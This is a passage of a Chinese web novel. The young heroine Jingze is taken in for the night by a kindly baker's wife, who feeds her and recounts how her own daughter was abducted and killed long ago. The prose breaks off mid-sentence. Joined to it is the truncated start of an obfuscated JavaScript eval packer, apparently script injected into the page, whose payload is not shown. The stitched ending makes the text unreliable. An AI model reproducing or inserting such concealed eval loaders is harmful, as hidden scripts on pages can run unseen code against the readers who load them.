正欲转身离去,忽听身后“吱呀”一声,斜后方一家烧饼铺子的门开了一条缝。一个年过半百的妇人探出头来。
“姑娘,你要是无处可去,不嫌弃的话,就上我家歇脚吧。”
景泽脚步一顿。嫌弃?她求之不得。
·
妇人自称春娘,与丈夫阿贵相依为命,靠着这间烧饼铺子勉强糊口。生意不算好,但胜在有几个老主顾,日子倒也过得下去。
春娘将她领进屋里,掌了灯。昏黄的灯火跳了跳,映出一间不大的堂屋,桌椅虽旧,却擦得干干净净。桌上摆着一只粗陶花瓶,插着几枝不知名的野花,给屋子凭添了几分生气。灶台上温着一壶水,咕嘟咕嘟冒着热气,满屋都是柴火的暖香。
“姑娘还没吃饭吧?我给你热两个烧饼去。”春娘说着就要往灶间走。
“伯母,不麻烦了……”景泽忙道。
“不麻烦不麻烦,正好你阿伯多做了几个。”春娘摆摆手,不一会儿便端上来两只热腾腾的烧饼,还配了一碗小米粥,“慢点吃,别烫着。”
景泽道了谢,捧起烧饼咬了一口,外酥里软,麦香扑鼻。她几乎要落下泪来,她已经记不清上一次坐在桌边、安安稳稳地吃上一顿热饭是什么时候了。
春娘坐在她对面,也不说话,就那么笑眯眯地看着她吃,目光温柔得像在看自己的孩子。
听春娘说,景泽才知道,这对夫妻原本是有个女儿的,取名丫丫,养到始龀年纪,就被拍花子给掳走了。城主府兵丁找到时,丫丫已被拍花子吃进了肚子里,只剩下一堆白骨。春娘伤心欲绝,身体越来越差,再不能生育,好在阿贵一直不离不弃,不知不觉,已经二十多个年头过去了。
待景泽吃饱喝足,春娘才领着她去了里屋,说是她女儿丫丫从前的房间。屋子不大,一张木床,一张小桌,窗台上还摆着几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w